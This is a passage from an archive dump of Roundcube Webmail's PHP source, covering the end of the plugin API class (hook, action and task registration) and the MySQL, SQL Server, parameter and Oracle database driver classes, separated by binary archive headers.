                            . $hook . ' -> ' . $this->deprecated_hooks[$hook]
                    ], true, false
                );
                $hook = $this->deprecated_hooks[$hook];
            }
            $this->handlers[$hook][] = $callback;
        }
        else {
            rcube::raise_error([
                    'code' => 521, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Invalid callback function for $hook"
                ],
                true, false
            );
        }
    }

    /**
     * Allow a plugin object to unregister a callback.
     *
     * @param string   $hook     Hook name
     * @param callable $callback A callback function
     */
    public function unregister_hook($hook, $callback)
    {
        if (empty($this->handlers[$hook])) {
            return;
        }

        $callback_id = array_search($callback, (array) $this->handlers[$hook]);
        if ($callback_id !== false) {
            // array_splice() removes the element and re-indexes keys
            // that is required by the 'for' loop in exec_hook() below
            array_splice($this->handlers[$hook], $callback_id, 1);
        }
    }

    /**
     * Triggers a plugin hook.
     * This is called from the application and executes all registered handlers
     *
     * @param string $hook Hook name
     * @param array  $args Named arguments (key->value pairs)
     *
     * @return array The (probably) altered hook arguments
     */
    public function exec_hook($hook, $args = [])
    {
        if (!is_array($args)) {
            $args = ['arg' => $args];
        }

        // TODO: avoid recursion by checking in_array($hook, $this->exec_stack) ?

        $args += ['abort' => false];
        array_push($this->exec_stack, $hook);

        // Use for loop here, so handlers added in the hook will be executed too
        if (!empty($this->handlers[$hook])) {
            for ($i = 0; $i < count($this->handlers[$hook]); $i++) {
                $ret = call_user_func($this->handlers[$hook][$i], $args);
                if ($ret && is_array($ret)) {
                    $args = $ret + $args;
                }

                if (!empty($args['break'])) {
                    break;
                }
            }
        }

        array_pop($this->exec_stack);
        return $args;
    }

    /**
     * Let a plugin register a handler for a specific request
     *
     * @param string   $action   Action name (_task=mail&_action=plugin.foo)
     * @param string   $owner    Plugin name that registers this action
     * @param callable $callback A callback function
     * @param string   $task     Task name registered by this plugin
     */
    public function register_action($action, $owner, $callback, $task = null)
    {
        // check action name
        if ($task) {
            $action = $task.'.'.$action;
        }
        else if (strpos($action, 'plugin.') !== 0) {
            $action = 'plugin.'.$action;
        }

        // can register action only if it's not taken or registered by myself
        if (!isset($this->actionmap[$action]) || $this->actionmap[$action] == $owner) {
            $this->actions[$action] = $callback;
            $this->actionmap[$action] = $owner;
        }
        else {
            rcube::raise_error([
                    'code' => 523, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Cannot register action $action; already taken by another plugin"
                ],
                true, false
            );
        }
    }

    /**
     * This method handles requests like _task=mail&_action=plugin.foo
     * It executes the callback function that was registered with the given action.
     *
     * @param string $action Action name
     */
    public function exec_action($action)
    {
        if (isset($this->actions[$action])) {
            call_user_func($this->actions[$action]);
        }
        else if (rcube::get_instance()->action != 'refresh') {
            rcube::raise_error([
                    'code' => 524, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "No handler found for action $action"
                ],
                true, true
            );
        }
    }

    /**
     * Register a handler function for template objects
     *
     * @param string   $name     Object name
     * @param string   $owner    Plugin name that registers this action
     * @param callable $callback A callback function
     */
    public function register_handler($name, $owner, $callback)
    {
        // check name
        if (strpos($name, 'plugin.') !== 0) {
            $name = 'plugin.' . $name;
        }

        // can register handler only if it's not taken or registered by myself
        if (is_object($this->output)
            && (!isset($this->objectsmap[$name]) || $this->objectsmap[$name] == $owner)
        ) {
            $this->output->add_handler($name, $callback);
            $this->objectsmap[$name] = $owner;
        }
        else {
            rcube::raise_error([
                    'code' => 525, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Cannot register template handler $name;"
                        ." already taken by another plugin or no output object available"
                ],
                true, false
            );
        }
    }

    /**
     * Register this plugin to be responsible for a specific task
     *
     * @param string $task  Task name (only characters [a-z0-9_-] are allowed)
     * @param string $owner Plugin name that registers this action
     */
    public function register_task($task, $owner)
    {
        // tasks are irrelevant in framework mode
        if (!class_exists('rcmail', false)) {
            return true;
        }

        if ($task != asciiwords($task, true)) {
            rcube::raise_error([
                    'code' => 526, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Invalid task name: $task."
                        ." Only characters [a-z0-9_.-] are allowed"
                ],
                true, false
            );
        }
        else if (in_array($task, rcmail::$main_tasks)) {
            rcube::raise_error([
                    'code' => 526, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Cannot register task $task;"
                        ." already taken by another plugin or the application itself"
                ],
                true, false
            );
        }
        else {
            $this->tasks[$task] = $owner;
            rcmail::$main_tasks[] = $task;
            return true;
        }

        return false;
    }

    /**
     * Checks whether the given task is registered by a plugin
     *
     * @param string $task Task name
     *
     * @return bool True if registered, otherwise false
     */
    public function is_plugin_task($task)
    {
        return !empty($this->tasks[$task]);
    }

    /**
     * Check if a plugin hook is currently processing.
     * Mainly used to prevent loops and recursion.
     *
     * @param string $hook Hook to check (optional)
     *
     * @return bool True if any/the given hook is currently processed, otherwise false
     */
    public function is_processing($hook = null)
    {
        return count($this->exec_stack) > 0 && (!$hook || in_array($hook, $this->exec_stack));
    }

    /**
     * Include a plugin script file in the current HTML page
     *
     * @param string $fn Path to script
     */
    public function include_script($fn)
    {
        if (is_object($this->output) && $this->output->type == 'html') {
            $src = $this->resource_url($fn);
            $this->output->include_script($src, 'head_bottom', false);
        }
    }

    /**
     * Include a plugin stylesheet in the current HTML page
     *
     * @param string $fn Path to stylesheet
     */
    public function include_stylesheet($fn)
    {
        if (is_object($this->output) && $this->output->type == 'html') {
            if ($fn[0] != '/' && !preg_match('|^https?://|i', $fn)) {
                $rcube      = rcube::get_instance();
                $devel_mode = $rcube->config->get('devel_mode');
                $assets_dir = $rcube->config->get('assets_dir');
                $path       = unslashify($assets_dir ?: RCUBE_INSTALL_PATH);
                $dir        = $path . (strpos($fn, "plugins/") === false ? '/plugins' : '');

                // Prefer .less files in devel_mode (assume less.js is loaded)
                if ($devel_mode) {
                    $less = preg_replace('/\.css$/i', '.less', $fn);
                    if ($less != $fn && is_file("$dir/$less")) {
                        $fn = $less;
                    }
                }
                else if (!preg_match('/\.min\.css$/', $fn)) {
                    $min = preg_replace('/\.css$/i', '.min.css', $fn);
                    if (is_file("$dir/$min")) {
                        $fn = $min;
                    }
                }

                if (!is_file("$dir/$fn")) {
                    return;
                }
            }

            $src = $this->resource_url($fn);
            $this->output->include_css($src);
        }
    }

    /**
     * Save the given HTML content to be added to a template container
     *
     * @param string $html      HTML content
     * @param string $container Template container identifier
     */
    public function add_content($html, $container)
    {
        if (!isset($this->template_contents[$container])) {
            $this->template_contents[$container] = '';
        }

        $this->template_contents[$container] .= $html . "\n";
    }

    /**
     * Returns list of loaded plugins names
     *
     * @return array List of plugin names
     */
    public function loaded_plugins()
    {
        return array_keys($this->plugins);
    }

    /**
     * Returns loaded plugin
     *
     * @return rcube_plugin|null Plugin instance
     */
    public function get_plugin($name)
    {
        return !empty($this->plugins[$name]) ? $this->plugins[$name] : null;
    }

    /**
     * Callback for template_container hooks
     *
     * @param array $attrib Container attributes
     *
     * @return array
     */
    protected function template_container_hook($attrib)
    {
        $container     = $attrib['name'];
        $content       = $attrib['content'] ?? '';

        if (isset($this->template_contents[$container])) {
            $content .= $this->template_contents[$container];
        }

        return ['content' => $content];
    }

    /**
     * Make the given file name link into the plugins directory
     *
     * @param string $fn Filename
     *
     * @return string
     */
    protected function resource_url($fn)
    {
        // pattern "skins/" used to identify plugin resources loaded from the core skin folder
        if ($fn[0] != '/' && !preg_match('#^(https?://|skins/)#i', $fn)) {
            return $this->url . $fn;
        }
        else {
            return $fn;
        }
    }
}
PK
h�\[(�"program/lib/Roundcube/db/mysql.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Database wrapper class that implements PHP PDO functions            |
 |   for MySQL database                                                  |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Database independent query interface
 *
 * This is a wrapper for the PHP PDO
 *
 * @package    Framework
 * @subpackage Database
 */
class rcube_db_mysql extends rcube_db
{
    public $db_provider = 'mysql';

    public function __construct($db_dsnw, $db_dsnr = '', $pconn = false)
    {
        parent::__construct($db_dsnw, $db_dsnr, $pconn);

        // SQL identifiers quoting
        $this->options['identifier_start'] = '`';
        $this->options['identifier_end'] = '`';
    }

    /**
     * Abstract SQL statement for value concatenation
     *
     * @return string ...$args Values to concatenate
     */
    public function concat(...$args)
    {
        if (count($args) == 1 && is_array($args[0])) {
            $args = $args[0];
        }

        return 'CONCAT(' . implode(', ', $args) . ')';
    }

    /**
     * Returns PDO DSN string from DSN array
     *
     * @param array $dsn DSN parameters
     *
     * @return string Connection string
     */
    protected function dsn_string($dsn)
    {
        $params = [];
        $result = 'mysql:';

        if (isset($dsn['database'])) {
            $params[] = 'dbname=' . $dsn['database'];
        }

        if (isset($dsn['hostspec'])) {
            $params[] = 'host=' . $dsn['hostspec'];
        }

        if (isset($dsn['port'])) {
            $params[] = 'port=' . $dsn['port'];
        }

        if (isset($dsn['socket'])) {
            $params[] = 'unix_socket=' . $dsn['socket'];
        }

        $params[] = 'charset=' . (!empty($dsn['charset']) ? $dsn['charset'] : 'utf8mb4');

        if (!empty($params)) {
            $result .= implode(';', $params);
        }

        return $result;
    }

    /**
     * Returns driver-specific connection options
     *
     * @param array $dsn DSN parameters
     *
     * @return array Connection options
     */
    protected function dsn_options($dsn)
    {
        $result = parent::dsn_options($dsn);

        if (!empty($dsn['key'])) {
            $result[PDO::MYSQL_ATTR_SSL_KEY] = $dsn['key'];
        }

        if (!empty($dsn['cipher'])) {
            $result[PDO::MYSQL_ATTR_SSL_CIPHER] = $dsn['cipher'];
        }

        if (!empty($dsn['cert'])) {
            $result[PDO::MYSQL_ATTR_SSL_CERT] = $dsn['cert'];
        }

        if (!empty($dsn['capath'])) {
            $result[PDO::MYSQL_ATTR_SSL_CAPATH] = $dsn['capath'];
        }

        if (!empty($dsn['ca'])) {
            $result[PDO::MYSQL_ATTR_SSL_CA] = $dsn['ca'];
        }

        if (isset($dsn['verify_server_cert'])) {
            $result[PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT] = rcube_utils::get_boolean($dsn['verify_server_cert']);
        }

        // Always return matching (not affected only) rows count
        $result[PDO::MYSQL_ATTR_FOUND_ROWS] = true;

        // Enable AUTOCOMMIT mode (#1488902)
        $result[PDO::ATTR_AUTOCOMMIT] = true;

        // Disable emulating of prepared statements
        $result[PDO::ATTR_EMULATE_PREPARES] = false;

        return $result;
    }

    /**
     * Returns list of tables in a database
     *
     * @return array List of all tables of the current database
     */
    public function list_tables()
    {
        // get tables if not cached
        if ($this->tables === null) {
            $q = $this->query("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES"
                . " WHERE TABLE_SCHEMA = ? AND TABLE_TYPE = 'BASE TABLE'"
                . " ORDER BY TABLE_NAME", $this->db_dsnw_array['database']);

            $this->tables = $q ? $q->fetchAll(PDO::FETCH_COLUMN, 0) : [];
        }

        return $this->tables;
    }

    /**
     * Returns list of columns in database table
     *
     * @param string $table Table name
     *
     * @return array List of table cols
     */
    public function list_cols($table)
    {
        $q = $this->query("SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS"
            . " WHERE TABLE_SCHEMA = ? AND TABLE_NAME = ?",
            $this->db_dsnw_array['database'], $table);

        if ($q) {
            return $q->fetchAll(PDO::FETCH_COLUMN, 0);
        }

        return [];
    }

    /**
     * Get database runtime variables
     *
     * @param string $varname Variable name
     * @param mixed  $default Default value if variable is not set
     *
     * @return mixed Variable value or default
     */
    public function get_variable($varname, $default = null)
    {
        if (!isset($this->variables)) {
            $this->variables = [];
        }

        if (array_key_exists($varname, $this->variables)) {
            return $this->variables[$varname];
        }

        // configured value has higher prio
        $conf_value = rcube::get_instance()->config->get('db_' . $varname);
        if ($conf_value !== null) {
            return $this->variables[$varname] = $conf_value;
        }

        $result = $this->query('SHOW VARIABLES LIKE ?', $varname);

        while ($row = $this->fetch_array($result)) {
            $this->variables[$row[0]] = $row[1];
        }

        // not found, use default
        if (!isset($this->variables[$varname])) {
            $this->variables[$varname] = $default;
        }

        return $this->variables[$varname];
    }

    /**
     * INSERT ... ON DUPLICATE KEY UPDATE (or equivalent).
     * When not supported by the engine we do UPDATE and INSERT.
     *
     * @param string $table   Table name (should be already passed via table_name() with quoting)
     * @param array  $keys    Hash array (column => value) of the unique constraint
     * @param array  $columns List of columns to update
     * @param array  $values  List of values to update (number of elements
     *                        should be the same as in $columns)
     *
     * @return PDOStatement|bool Query handle or False on error
     * @todo Multi-insert support
     */
    public function insert_or_update($table, $keys, $columns, $values)
    {
        $columns = array_map(function($i) { return "`$i`"; }, $columns);
        $cols    = implode(', ', array_map(function($i) { return "`$i`"; }, array_keys($keys)));
        $cols   .= ', ' . implode(', ', $columns);
        $vals    = implode(', ', array_map(function($i) { return $this->quote($i); }, $keys));
        $vals   .= ', ' . rtrim(str_repeat('?, ', count($columns)), ', ');
        $update  = implode(', ', array_map(function($i) { return "$i = VALUES($i)"; }, $columns));

        return $this->query("INSERT INTO $table ($cols) VALUES ($vals)"
            . " ON DUPLICATE KEY UPDATE $update", $values);
    }
}
PK
h�\�%��n
n
#program/lib/Roundcube/db/sqlsrv.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Database wrapper class that implements PHP PDO functions            |
 |   for MS SQL Server database                                          |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Database independent query interface
 * This is a wrapper for the PHP PDO
 *
 * @package    Framework
 * @subpackage Database
 */
class rcube_db_sqlsrv extends rcube_db_mssql
{

    /**
     * Get last inserted record ID
     *
     * @param string $table Table name (to find the incremented sequence)
     *
     * @return string|false The ID or False on failure
     */
    public function insert_id($table = '')
    {
        if (!$this->db_connected || $this->db_mode == 'r') {
            return false;
        }

        if ($table) {
            // For some unknown reason the constant described in the driver docs
            // might not exist, we'll fallback to PDO::ATTR_CLIENT_VERSION (#7564)
            if (defined('PDO::ATTR_DRIVER_VERSION')) {
                $driver_version = $this->dbh->getAttribute(PDO::ATTR_DRIVER_VERSION);
            }
            else if (defined('PDO::ATTR_CLIENT_VERSION')) {
                $client_version = $this->dbh->getAttribute(PDO::ATTR_CLIENT_VERSION);
                $driver_version = $client_version['ExtensionVer'];
            }
            else {
                $driver_version = 5;
            }

            // Starting from version 5 of the driver lastInsertId() method expects
            // a sequence name instead of a table name. We'll unset the argument
            // to get the last insert sequence (#7564)
            if (version_compare($driver_version, '5', '>=')) {
                $table = null;
            }
            else {
                // resolve table name
                $table = $this->table_name($table);
            }
        }

        return $this->dbh->lastInsertId($table);
    }

    /**
     * Returns PDO DSN string from DSN array
     */
    protected function dsn_string($dsn)
    {
        $params = [];
        $result = 'sqlsrv:';

        if (isset($dsn['hostspec'])) {
            $host = $dsn['hostspec'];

            if (isset($dsn['port'])) {
                $host .= ',' . $dsn['port'];
            }

            $params[] = 'Server=' . $host;
        }

        if (isset($dsn['database'])) {
            $params[] = 'Database=' . $dsn['database'];
        }

        if (!empty($params)) {
            $result .= implode(';', $params);
        }

        return $result;
    }
}
PK
h�\�9B��"program/lib/Roundcube/db/param.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Database wrapper class for query parameters                         |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Database query parameter
 *
 * @package    Framework
 * @subpackage Database
 */
class rcube_db_param
{
    protected $db;
    protected $type;
    protected $value;


    /**
     * Object constructor
     *
     * @param rcube_db $db    Database driver
     * @param mixed    $value Parameter value
     * @param string   $type  Parameter type (One of rcube_db::TYPE_* constants)
     */
    public function __construct($db, $value, $type = null)
    {
        $this->db    = $db;
        $this->value = $value;
        $this->type  = $type;
    }

    /**
     * Returns the value as string for inlining into SQL query
     */
    public function __toString()
    {
        if ($this->type === rcube_db::TYPE_SQL) {
            return (string) $this->value;
        }

        return (string) $this->db->quote($this->value, $this->type);
    }
}
PK
h�\��	4GG#program/lib/Roundcube/db/oracle.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Database wrapper class that implements database functions           |
 |   for Oracle database using OCI8 extension                            |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <machniak@kolabsys.com>                   |
 +-----------------------------------------------------------------------+
*/

/**
 * Database independent query interface
 *
 * @package    Framework
 * @subpackage Database
 */
class rcube_db_oracle extends rcube_db
{
    public $db_provider    = 'oracle';
    public $in_transaction = false;

    /**
     * Create connection instance
     */
    protected function conn_create($dsn)
    {
        // Get database specific connection options
        $dsn_options = $this->dsn_options($dsn);

        $function = $this->db_pconn ? 'oci_pconnect' : 'oci_connect';

        if (!function_exists($function)) {
            $this->db_error     = true;
            $this->db_error_msg = 'OCI8 extension not loaded. See http://php.net/manual/en/book.oci8.php';

            rcube::raise_error([
                    'code' => 500, 'type' => 'db',
                    'line' => __LINE__, 'file' => __FILE__,
                    'message' => $this->db_error_msg
                ], true, false);

            return;
        }

        // connect
        $dbh = @$function($dsn['username'], $dsn['password'], $dsn_options['database'], $dsn_options['charset']);

        if (!$dbh) {
            $error              = oci_error();
            $this->db_error     = true;
            $this->db_error_msg = $error['message'];

            rcube::raise_error([
                    'code' => 500, 'type' => 'db',
                    'line' => __LINE__, 'file' => __FILE__,
                    'message' => $this->db_error_msg
                ], true, false);

            return;
        }

        // configure session
        $this->conn_configure($dsn, $dbh);

        return $dbh;
    }

    /**
     * Driver-specific configuration of database connection
     *
     * @param array $dsn DSN for DB connections
     * @param PDO   $dbh Connection handler
     */
    protected function conn_configure($dsn, $dbh)
    {
        $init_queries = [
            "ALTER SESSION SET nls_date_format = 'YYYY-MM-DD'",
            "ALTER SESSION SET nls_timestamp_format = 'YYYY-MM-DD HH24:MI:SS'",
        ];

        foreach ($init_queries as $query) {
            $stmt = oci_parse($dbh, $query);
            oci_execute($stmt);
        }
    }

    /**
     * Connection state checker
     *
     * @return bool True if in connected state
     */
    public function is_connected()
    {
        return empty($this->dbh) ? false : $this->db_connected;
    }

    /**
     * Execute a SQL query with limits
     *
     * @param string $query   SQL query to execute
     * @param int    $offset  Offset for LIMIT statement
     * @param int    $numrows Number of rows for LIMIT statement
     * @param array  $params  Values to be inserted in query
     *
     * @return PDOStatement|bool Query handle or False on error
     */
    protected function _query($query, $offset, $numrows, $params)
    {
        $query = ltrim($query);

        $this->db_connect($this->dsn_select($query), true);

        // check connection before proceeding
        if (!$this->is_connected()) {
            return $this->last_result = false;
        }

        if ($numrows || $offset) {
            $query = $this->set_limit($query, $numrows, $offset);
        }

        // replace self::DEFAULT_QUOTE with driver-specific quoting
        $query = $this->query_parse($query);

        // Because in Roundcube we mostly use queries that are
        // executed only once, we will not use prepared queries
        $pos  = 0;
        $idx  = 0;
        $args = [];

        if (!empty($params)) {
            while ($pos = strpos($query, '?', $pos)) {
                if ($query[$pos+1] == '?') {  // skip escaped '?'
                    $pos += 2;
                }
                else {
                    $val = $this->quote($params[$idx++]);

                    // long strings are not allowed inline, need to be parametrized
                    if (strlen($val) > 4000) {
                        $key = ':param' . (count($args) + 1);
                        $args[$key] = $params[$idx-1];
                        $val = $key;
                    }

                    unset($params[$idx-1]);
                    $query = substr_replace($query, $val, $pos, 1);
                    $pos += strlen($val);
                }
            }
        }

        $query = rtrim($query, " \t\n\r\0\x0B;");

        // replace escaped '?' and quotes back to normal, see self::quote()
        $query = str_replace(
            ['??', self::DEFAULT_QUOTE.self::DEFAULT_QUOTE],
            ['?', self::DEFAULT_QUOTE],
            $query
        );

        // log query
        $this->debug($query);

        // destroy reference to previous result
        $this->last_result  = null;
        $this->db_error_msg = null;

        // prepare query
        $result = @oci_parse($this->dbh, $query);
        $mode   = $this->in_transaction ? OCI_NO_AUTO_COMMIT : OCI_COMMIT_ON_SUCCESS;

        if ($result) {
            foreach (array_keys($args) as $param) {
                oci_bind_by_name($result, $param, $args[$param], -1, SQLT_LNG);
            }
        }

        // execute query
        if (!$result || !@oci_execute($result, $mode)) {
            $result = $this->handle_error($query, $result);
        }

        return $this->last_result = $result;
    }

    /**
     * Helper method to handle DB errors.
     * This by default logs the error but could be overridden by a driver implementation
     *
     * @param string   Query that triggered the error
     * @param resource Query result
     *
     * @return bool Result to be stored and returned
     */
    protected function handle_error($query, $result = null)
    {
        $error = oci_error($result ?: $this->dbh);

        // @TODO: Find error codes for key errors
        if (empty($this->options['ignore_key_errors']) || !in_array($error['code'], ['23000', '23505'])) {
            $this->db_error = true;
            $this->db_error_msg = sprintf('[%s] %s', $error['code'], $error['message']);

            rcube::raise_error([
                    'code' => 500, 'type' => 'db',
                    'line' => __LINE__, 'file' => __FILE__,
                    'message' => $this->db_error_msg . " (SQL Query: $query)"
                ], true, false);
        }

        return false;
    }

    /**
     * Get last inserted record ID
     *
     * @param string $table Table name (to find the incremented sequence)
     *
     * @return mixed ID or false on failure
     */
    public function insert_id($table = null)
    {
        if (!$this->db_connected || $this->db_mode == 'r' || empty($table)) {
            return false;
        }

        $sequence = $this->quote_identifier($this->sequence_name($table));
        $result   = $this->query("SELECT $sequence.currval FROM dual");
        $result   = $this->fetch_array($result);

        return !empty($result[0]) ? $result[0] : false;
    }

    /**
     * Get number of affected rows for the last query
     *
     * @param mixed $result Optional query handle
     *
     * @return int Number of (matching) rows
     */
    public function affected_rows($result = null)
    {
        if ($result || ($result === null && ($result = $this->last_result))) {
            return oci_num_rows($result);
        }

        return 0;
    }

    /**
     * Get number of rows for a SQL query
     * If no query handle is specified, the last query will be taken as reference
     *
     * @param mixed $result Optional query handle
     *
     * @return mixed Number of rows or false on failure
     * @deprecated This method shows very poor performance and should be avoided.
     */
    public function num_rows($result = null)
    {
        // not implemented
        return false;
    }

    /**
     * Get an associative array for one row
     * If no query handle is specified, the last query will be taken as reference
     *
     * @param mixed $result Optional query handle
     *
     * @return mixed Array with col values or false on failure
     */
    public function fetch_assoc($result = null)
    {
        return $this->_fetch_row($result, OCI_ASSOC);
    }

    /**
     * Get an index array for one row
     * If no query handle is specified, the last query will be taken as reference
     *
     * @param mixed $result Optional query handle
     *
     * @return mixed Array with col values or false on failure
     */
    public function fetch_array($result = null)
    {
        return $this->_fetch_row($result, OCI_NUM);
    }

    /**
     * Get col values for a result row
     *
     * @param mixed $result Optional query handle
     * @param int   $mode   Fetch mode identifier
     *
     * @return array|false Array with col values or false on failure
     */
    protected function _fetch_row($result, $mode)
    {
        if ($result || ($result === null && ($result = $this->last_result))) {
            return oci_fetch_array($result, $mode + OCI_RETURN_NULLS + OCI_RETURN_LOBS);
        }

        return false;
    }

    /**
     * Formats input so it can be safely used in a query
     * PDO_OCI does not implement quote() method
     *
     * @param mixed  $input Value to quote
     * @param string $type  Type of data (integer, bool, ident)
     *
     * @return string Quoted/converted string for use in query
     */
    public function quote($input, $type = null)
    {
        // handle int directly for better performance
        if ($type == 'integer' || $type == 'int') {
            return intval($input);
        }

        if (is_null($input)) {
            return 'NULL';
        }

        if ($input instanceof DateTime) {
            return $this->quote($input->format($this->options['datetime_format']));
        }

        if ($type == 'ident') {
            return $this->quote_identifier($input);
        }

        switch ($type) {
        case 'bool':
        case 'integer':
            return intval($input);
        default:
            return "'" . strtr($input, [
                    '?' => '??',
                    "'" => "''",
                    rcube_db::DEFAULT_QUOTE => rcube_db::DEFAULT_QUOTE . rcube_db::DEFAULT_QUOTE
                ]) . "'";
        }
    }

    /**
     * Return correct name for a specific database sequence
     *
     * @param string $table Table name
     *
     * @return string Translated sequence name
     */
    protected function sequence_name($table)
    {
        // Note: we support only one sequence per table
        // Note: The sequence name must be <table_name>_seq
        $sequence = $table . '_seq';

        // modify sequence name if prefix is configured
        if ($prefix = $this->options['table_prefix']) {
            return $prefix . $sequence;
        }

        return $sequence;
    }

    /**
     * Return SQL statement for case insensitive LIKE
     *
     * @param string $column Field name
     * @param string $value  Search value
     *
     * @return string SQL statement to use in query
     */
    public function ilike($column, $value)
    {
        return 'UPPER(' . $this->quote_identifier($column) . ') LIKE UPPER(' . $this->quote($value) . ')';
    }

    /**
     * Return SQL function for current time and date
     *
     * @param int $interval Optional interval (in seconds) to add/subtract
     *
     * @return string SQL function to use in query
     */
    public function now($interval = 0)
    {
        if ($interval) {
            $interval = intval($interval);
            return "current_timestamp + INTERVAL '$interval' SECOND";
        }

        return "current_timestamp";
    }

    /**
     * Return SQL statement to convert a field value into a unix timestamp
     *
     * @param string $field Field name
     *
     * @return string SQL statement to use in query
     * @deprecated
     */
    public function unixtimestamp($field)
    {
        return "(($field - to_date('1970-01-01','YYYY-MM-DD')) * 60 * 60 * 24)";
    }

    /**
     * Adds TOP (LIMIT,OFFSET) clause to the query
     *
     * @param string $query  SQL query
     * @param int    $limit  Number of rows
     * @param int    $offset Offset
     *
     * @return string SQL query
     */
    protected function set_limit($query, $limit = 0, $offset = 0)
    {
        $limit  = intval($limit);
        $offset = intval($offset);
        $end    = $offset + $limit;

        // @TODO: Oracle 12g has better OFFSET support

        if (!$offset) {
            $query = "SELECT * FROM ($query) a WHERE rownum <= $end";
        }
        else {
            $query = "SELECT * FROM (SELECT a.*, rownum as rn FROM ($query) a WHERE rownum <= $end) b WHERE rn > $offset";
        }

        return $query;
    }

    /**
     * Parse SQL file and fix table names according to table prefix
     */
    protected function fix_table_names($sql)
    {
        if (!$this->options['table_prefix']) {
            return $sql;
        }

        $sql = parent::fix_table_names($sql);

        // replace sequence names, and other Oracle-specific commands
        $sql = preg_replace_callback('/(SEQUENCE ["]?)([^" \r\n]+)/',
            [$this, 'fix_table_names_callback'],
            $sql
        );

        $sql = preg_replace_callback(
            '/([ \r\n]+["]?)([^"\' \r\n\.]+)(["]?\.nextval)/',
            [$this, 'fix_table_names_seq_callback'],
            $sql
        );

        return $sql;
    }

    /**
     * Preg_replace callback for fix_table_names()
     */
    protected function fix_table_names_seq_callback($matches)
    {
        return $matches[1] . $this->options['table_prefix'] . $matches[2] . $matches[3];
    }

    /**
     * Returns connection options from DSN array
     */
    protected function dsn_options($dsn)
    {
        $params = [];

        if (isset($dsn['hostspec'])) {
            $host = $dsn['hostspec'];
            if (isset($dsn['port'])) {
                $host .= ':' . $dsn['port'];
            }

            $params['database'] = $host . '/' . $dsn['database'];
        }

        $params['charset'] = 'UTF8';

        return $params;
    }

    /**
     * Execute the given SQL script
     *
     * @param string $sql SQL queries to execute
     *
     * @return bool True on success, False on error
     */
    public function exec_script($sql)
    {
        $sql  = $this->fix_table_names($sql);
        $buff = '';
        $body = false;

        foreach (explode("\n", $sql) as $line) {
            $tok = strtolower(trim($line));
            if (preg_match('/^--/', $line) || $tok == '' || $tok == '/') {
                continue;
            }

            $buff .= $line . "\n";

            // detect PL/SQL function bodies, don't break on semicolon
            if ($body && $tok == 'end;') {
                $body = false;
            }
            else if (!$body && $tok == 'begin') {
                $body = true;
            }

            if (!$body && substr($tok, -1) == ';') {
                $this->query($buff);
                $buff = '';
                if ($this->db_error) {
                    break;
                }
            }
        }

        return !$this->db_error;
    }

    /**
     * Start transaction
     *
     * @return bool True on success, False on failure
     */
    public function startTransaction()
    {
        $this->db_connect('w', true);

        // check connection before proceeding
        if (!$this->is_connected()) {
            return $this->last_result = false;
        }

        $this->debug('BEGIN TRANSACTION');

        return $this->last_result = $this->in_transaction = true;
    }

    /**
     * Commit transaction
     *
     * @return bool True on success, False on failure
     */
    public function endTransaction()
    {
        $this->db_connect('w', true);

        // check connection before proceeding
        if (!$this->is_connected()) {
            return $this->last_result = false;
        }

        $this->debug('COMMIT TRANSACTION');

        if ($result = @oci_commit($this->dbh)) {
            $this->in_transaction = true;
        }
        else {
            $this->handle_error('COMMIT');
        }

        return $this->last_result = $result;
    }

    /**
     * Rollback transaction
     *
     * @return bool True on success, False on failure
     */
    public function rollbackTransaction()
    {
        $this->db_connect('w', true);

        // check connection before proceeding
        if (!$this->is_connected()) {
            return $this->last_result = false;
        }

        $this->debug('ROLLBACK TRANSACTION');

        if (@oci_rollback($this->dbh)) {
            $this->in_transaction = false;
        }
        else {
            $this->handle_error('ROLLBACK');
        }

        return $this->last_result = $this->dbh->rollBack();
    }

    /**
     * Terminate database connection.
     */
    public function closeConnection()
    {
        // release statement and close connection(s)
        $this->last_result = null;
        foreach ($this->dbhs as $dbh) {
            oci_close($dbh);
        }

        parent::closeConnection();
    }
}
PK
h�\���#program/lib/Roundcube/db/sqlite.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
